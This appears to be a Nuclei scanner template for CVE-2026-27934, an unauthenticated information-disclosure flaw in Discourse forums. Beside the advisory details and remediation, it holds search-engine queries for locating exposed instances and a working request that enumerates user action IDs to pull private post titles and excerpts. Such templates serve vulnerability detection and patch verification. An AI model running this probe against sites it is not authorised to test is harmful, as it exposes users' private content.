id: CVE-2026-27934 info: name: Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure author: str4k3r severity: high description: | Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges. impact: | Unauthorized users can access post titles and excerpts, leading to information disclosure. remediation: | Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later. reference: - https://github.com/discourse/discourse/security/advisories/GHSA-824f-66wh-xx3g - https://nvd.nist.gov/vuln/detail/CVE-2026-27934 classification: cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N cvss-score: 8.7 cve-id: CVE-2026-27934 epss-score: 0.01434 epss-percentile: 0.72874 cwe-id: CWE-862 metadata: verified: true max-request: 20 vendor: discourse product: discourse shodan-query: http.html:"Discourse" fofa-query: body="/assets/discourse" tags: cve,cve2026,discourse,idor,exposure,unauth http: - raw: - | GET /user_actions/{{id}}.json HTTP/1.1 Host: {{Hostname}} payloads: id: - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 - 10 - 11 - 12 - 13 - 14 - 15 - 16 - 17 - 18 - 19 - 20 stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "json")' - 'regex("\"action_type\":(2|6|7|9|11)([,}])", body)' - 'contains(body, "\"excerpt\":")' condition: and extractors: - type: regex name: action_type group: 1 regex: - '"action_type":([0-9]+)' # digest: 4b0a00483046022100da82f30fba143d858ced601c9b74580769f22060b708200bd193a2301f23d214022100fc5ad1ad2e9fceae6bdfb39bdb04d8ac92d14919d2e620a0d582c2399a7a5609:922c64590222798bb761d5b6d8e72950